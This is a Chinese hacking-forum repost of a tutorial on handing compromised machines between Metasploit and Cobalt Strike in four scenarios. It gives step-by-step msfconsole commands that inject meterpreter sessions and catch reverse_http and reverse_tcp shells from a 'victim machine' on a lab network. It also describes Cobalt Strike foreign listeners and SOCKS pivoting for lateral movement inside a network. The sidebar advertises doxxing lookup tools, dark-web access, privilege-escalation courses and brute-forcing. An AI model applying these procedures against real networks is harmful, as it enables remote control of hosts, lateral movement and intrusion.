HACK80

我们很年轻,但我们有信念、有梦想!

我们坚信只有今天付出了,才有机会看到明天的太阳!
现在!加入我们,给你一个气氛优秀的技术圈子

作者: EvilGod
查看: 279|回复: 0

more +随机图赏Gallery

社工库查询工具1.1修改版社工库查询工具1.1修改版
可以手机远程控制电脑,手机远程控制手机的超强工具!可以手机远程控制电脑,手机远程控制手机的超强工具!
简单---两步--进暗网--更新之前的简单---两步--进暗网--更新之前的
2017年中旬WEB渗透系列课程-00前言2017年中旬WEB渗透系列课程-00前言
2017年中旬WEB渗透系列课程-25基于php参数开关的提权2017年中旬WEB渗透系列课程-25基于php参数开关的提权
2017年中旬WEB渗透系列课程-27HASH提权2017年中旬WEB渗透系列课程-27HASH提权
御剑后台扫描--自带10多兆后台数据库御剑后台扫描--自带10多兆后台数据库
国内高手浅蓝渗透视频,值得一看。国内高手浅蓝渗透视频,值得一看。
【重要公告】2017年中工作进展及最新课程发布【重要公告】2017年中工作进展及最新课程发布
二期公开课第6节-Linux下的爆破工具+爆破指定IP远程登陆二期公开课第6节-Linux下的爆破工具+爆破指定IP远程登陆

Metasploit和Cobalt Strike的四种联动场景

[复制链接]
EvilGod 发表于 2018-1-10 17:21:46 | 显示全部楼层 |阅读模式
查看: 279|回复: 0

马上注册,加入HACK80!与我们一起交流。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
作者:zyh
原文地址:https://secvul.com/topics/862.html

Metasploit就不介绍了,Cobalt Strike是一款以metasploit为基础的GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑、钓鱼攻击等等。
然而这都是旧事了,翅膀硬了总要单飞,Cobalt Strike 2.5版本后就脱离metasploit框架自己重写,但旧情难忘,两兄弟还相互提供接口支持。
Cobalt Strike与metasploit曾是GUI版本与命令行版本的关系,重写后,Cobalt Strike更偏重于稳定控制,专心做远控。而MetaSploit则偏向于内网的横向渗透。两者相比,Cobalt Strike的socks4a服务比metasploit稳定太多了,受害机器从Cobalt Strike上线后,可以使用Cobalt Strike中的socks4a协议进行代理渗透,实战测试端口扫描开200线程不会挂,而MetaSploit中的route add或者是socks4a就逊色多了(有兴趣的可以自己测试)。但是,Cobalt Strike缺乏横向EXP攻击。
基于此,如果拿Cobalt Strike日内网,前提是你获得了目标的权限,运行Cobalt Strike的远控马上线,然后通过Cobalt Strike进行代理(或者其它扫描等),进行内网渗透,找出内网其它机器漏洞后继续利用其它工具进行exploit,exploit后再运行Cobalt Strike的远控马,这过程中,其实Cobalt Strike与metasploit并没有很好地配合起来。如果我们使用metasploit配合Cobalt Strike一起进行内网渗透的话,会是一种很好的手段。
在使用metasploit和Cobalt Strike配合的渗透中,可能会有如下四种联动场景:
(1)metasploit获得了一个meterpreter的session,想把session传给Cobalt Strike
(2)metasploit未获得meterpreter的session,但受害机器已经执行metasploit生成的木马程序,想直接让目标给Cobalt Strike上线
(3)Cobalt Strike获得了一个上线机器,想把这个机器丢给metasploit,让meterpreter获得一个session进行控制
(4)Cobalt Strike获得了一个上线机器,想把这个机器丢在metasploit中继续进行渗透
下面便来聊聊这4点是如何实际操作的:
本文网络环境如下:受害机器IP:192.168.23.128 METASPLOIT和Cobalt Strike在同一个IP下:192.168.23.129
1.metasploit获得了一个meterpreter的session,想把session传给Cobalt Strike:

思路是使用metasploit中的inject payload来做,现在先假设已有一个meterpreter的session了,步骤如下:
在Cobalt Strike中新建监听

点击save创建成功后我们便有了一个reverse_http监听者,监听者33890端口,等待被控机连接。
此时切换到meterpreter中,输入下列命令:
  1. background # 切换到后台
  2. use exploit/windows/local/payload_inject
  3. set payload windows/meterpreter/reverse_http # 这里有个坑,不能使用x64的payload,我开始试验了很久一直失败,发现是x64的原因,换成x86的payload就好了,原因不明!
  4. set lhost 192.168.23.129 # Cobalt Strike的服务端IP
  5. set lport 33890 # 监听者的监听端口
  6. set session 2 # 这里是之前meterpreter的session编号
  7. set disablepayloadhandler true # 关闭payload的监听,因为metasploit和Cobalt Strike在同一台机器,而且这里用Cobalt Strike监听而不是metasploit,否则会端口冲突。
  8. exploit
复制代码


此时机器便已成功从Cobalt Strike成功上线。

2.metasploit未获得meterpreter的session,但受害机器已经执行metasploit生成的木马程序,想直接让目标给Cobalt Strike上线
Cobalt Strike先开启监听者(监听metasploit远控木马的连接端口LPORT),此时metasploit的payload按照如下写法即可:
  1. use exploit/multi/handler
  2. set payload windows/meterpreter/reverse_http
  3. set lhost 192.168.23.129 # Cobalt Strike的服务端IP
  4. set lport 43215 (43215为metasploit远控木马的连接端口LPORT)
  5. set disablepayloadhandler true
  6. exploit
复制代码

就可以了,简单吧。这里其实就是payload选择reverse_http(注意32位的,不是64位的,这里大坑),然后监听的地址和端口写Cobalt Strike的监听者的信息就可以了。

3.Cobalt Strike获得了一个上线机器,想把这个机器丢给metasploit中的meterpreter获得一个session进行控制
步骤如下:
  1. metasploit中:
  2. use exploit/multi/handler
  3. set payload windows/meterpreter/reverse_tcp # 再次强调大坑:不要用x64的payload!
  4. set lhost 192.168.23.129
  5. set lport 7654
  6. exploit # 开启监听
复制代码


Cobalt Strike中,对目标机器点击右键,spawn,新建一个监听者,payload选择foreign/reverse_tcp

最后choose它就可以了,如果meterpreter没有马上获得shell,不要着急不要紧张,因为Cobalt Strike中默认sleep是1分钟,你可以先提前把sleep时间改短些,这样Cobalt Strike的反应会快些。
最后已经成功:

4.Cobalt Strike获得了一个上线机器,想把这个机器丢给metasploit中继续进行渗透
这里其实只需要Cobalt Strike开一个socks给metasploit用就行了,具体操作如下:
对上线机器点右键Pivoting-SOCKS Server ,开启socks4a,然后会给你一个地址,在metasploit中设置proxy即可。


您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|手机版|HACK80 ( 沪ICP备15007512号 )

GMT+8, 2018-1-24 13:47 , Processed in 0.056634 second(s), 24 queries .

Powered by Discuz! X3.4 © 2001-2013 Comsenz Inc.